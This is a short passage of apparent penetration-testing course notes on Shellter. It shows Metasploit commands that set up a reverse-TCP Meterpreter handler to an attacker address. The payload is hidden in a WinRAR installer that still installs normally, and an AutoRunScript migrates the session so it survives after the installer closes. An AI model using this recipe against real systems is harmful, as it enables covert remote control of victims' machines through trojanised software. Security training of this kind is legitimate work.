Previous

Using Shellter tool

kali@kali:~$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.11.0.78
msf exploit(multi/handler) > show options
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > exploit

💡
Once we execute the file, we are presented with the default WinRAR installation window, which will install the software normally without any issues. Looking back at our handler shows that we successfully received a Meterpreter session but the session appears to die after the installation either finishes or is cancelled.
This makes sense because the installer execution has completed and the process has been terminated. In order to overcome this problem, we can set up an 
AutoRunScript
 to migrate our Meterpreter to a separate process immediately after session creation.